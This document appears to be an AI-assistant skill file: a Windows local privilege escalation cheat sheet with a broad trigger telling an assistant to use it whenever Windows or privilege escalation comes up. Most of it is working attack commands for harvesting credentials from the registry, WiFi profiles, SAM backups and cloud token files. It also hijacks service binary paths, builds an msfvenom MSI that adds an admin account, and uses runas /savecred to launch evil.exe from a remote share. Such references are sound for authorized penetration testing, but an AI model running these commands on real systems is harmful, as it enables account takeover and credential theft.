windows-local-privesc

name

windows-local-privesc

description

Windows Local Privilege Escalation enumeration and exploitation. Use this skill whenever the user needs to enumerate privilege escalation vectors on a Windows system, check for misconfigurations, find credentials, or escalate from low privilege to SYSTEM. Trigger on requests about Windows privilege escalation, privesc enumeration, Windows security assessment, or when analyzing Windows systems for privilege escalation opportunities. Make sure to use this skill when the user mentions Windows, privilege escalation, SYSTEM access, service misconfigurations, credential harvesting, or any Windows security testing scenario.

Windows Local Privilege Escalation

A comprehensive guide for enumerating and exploiting Windows local privilege escalation vectors.

Quick Start

Best tool for Windows local privilege escalation: WinPEAS

System Information Enumeration

Version and Patch Information

Check Windows version and installed patches for known vulnerabilities:

# CMD
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

# PowerShell
[System.Environment]::OSVersion.Version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}
Get-Hotfix -description "Security update"

Exploit Suggestion Tools

On the system:

• post/windows/gather/enum_patches (Metasploit)
• post/multi/recon/local_exploit_suggester (Metasploit)
• Watson
• WinPEAS

Locally with system information:

• Windows-Exploit-Suggester
• wesng

Environment and Credential Enumeration

Environment Variables

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell History

# Find history path
ConsoleHost_history

# Read history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Logging Checks

# Transcript logging
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription

# Module logging
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

# Script Block logging
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

# View PowerShell events
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

WSUS Vulnerabilities

Check for Non-SSL WSUS

# CMD
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

# PowerShell
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

If WUServer uses http:// (not https://) and UseWUServer equals 1, the system may be exploitable via tools like Wsuxploit or pyWSUS.

CVE-2020-1013 (WSUSpicious)

If you can modify local user proxy settings and WSUS uses IE proxy settings, you can intercept WSUS traffic. Use WSUSpicious to exploit.

AlwaysInstallElevated

If both registry keys are set to 0x1, users can install MSI files as SYSTEM:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Exploitation Methods

Metasploit payload:

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi

PowerUp:

Write-UserAddMSI

Install silently:

msiexec /quiet /qn /i C:\path\to\malicious.msi

Service Enumeration and Exploitation

List Services

net start
wmic service list brief
sc query
Get-Service

Check Service Permissions

# Check specific service
sc qc <service_name>

# Check permissions with accesschk
accesschk.exe -ucqv <Service_Name>
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula

Modify Service Binary Path

If you have SERVICE_ALL_ACCESS or WRITE_DAC permissions:

sc config <Service_Name> binpath= "C:\path\to\malicious.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"

Restart Service

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Unquoted Service Paths

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '"'

# PowerUp
Get-ServiceUnquoted -Verbose

Service Binary Permissions

# Check binary permissions
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

User and Group Enumeration

Enumerate Users and Groups

# CMD
net users %username%
net users
net localgroup
net localgroup Administrators
whoami /all

# PowerShell
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Password Policy

net accounts

Credential Harvesting

Winlogon Credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

Credential Manager

cmdkey /list

# Use saved credentials
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

DPAPI Master Keys

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\

# Credentials files
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\

PowerShell Credentials

$credential = Import-Clixml -Path 'C:\pass.xml'
$credential.GetNetworkCredential().username
$credential.GetNetworkCredential().password

WiFi Passwords

netsh wlan show profile
netsh wlan show profile <SSID> key=clear

# Extract all WiFi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

Sticky Notes

C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite

SSH Keys in Registry

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Unattended Files

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\unattend.txt
C:\unattend.inf

# Search for unattended files
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

SAM and SYSTEM Backups

%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Cloud Credentials

.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

Generic Password Search

# Search file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

# Search registry
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Security Controls Enumeration

WDigest

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credential Guard

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

PATH DLL Hijacking

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Network Enumeration

Shares

net view
net view /all /domain [domainname]
net view \\computer /ALL
net use x: \\computer\share
net share

Network Configuration

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

netstat -ano

Hosts File

type C:\Windows\System32\drivers\etc\hosts

Known Vulnerabilities

CVE-2019-1388 (hhupd.exe UAC Bypass)

Affects Windows 7 SP1 through Windows 10 1607. Exploit available at: https://github.com/jas502n/CVE-2019-1388

Veeam CVE-2023-27532

Veeam B&R < 11.0.1.1261 exposes TCP/9401 allowing SYSTEM command execution.

KrbRelayUp

Local privilege escalation in domain environments with specific conditions. Exploit: https://github.com/Dec0ne/KrbRelayUp

Useful Tools

Tool	Type	Description
WinPEAS	All-in-one	Comprehensive privesc enumeration
Watson	Executable	Known vulnerability detection
PowerUp	PowerShell	Misconfiguration checks
PrivescCheck	PowerShell	Privilege escalation checks
SeatBelt	Executable	Host enumeration
SharpUP	Executable	PowerUp port to C#
LaZagne	Executable	Credential extraction
SessionGopher	PowerShell	Session credential extraction

References

• HackTricks Windows Privesc
• PayloadsAllTheThings Windows Privesc
• Windows Privilege Escalation Guide
• Pentest Blog Windows Privesc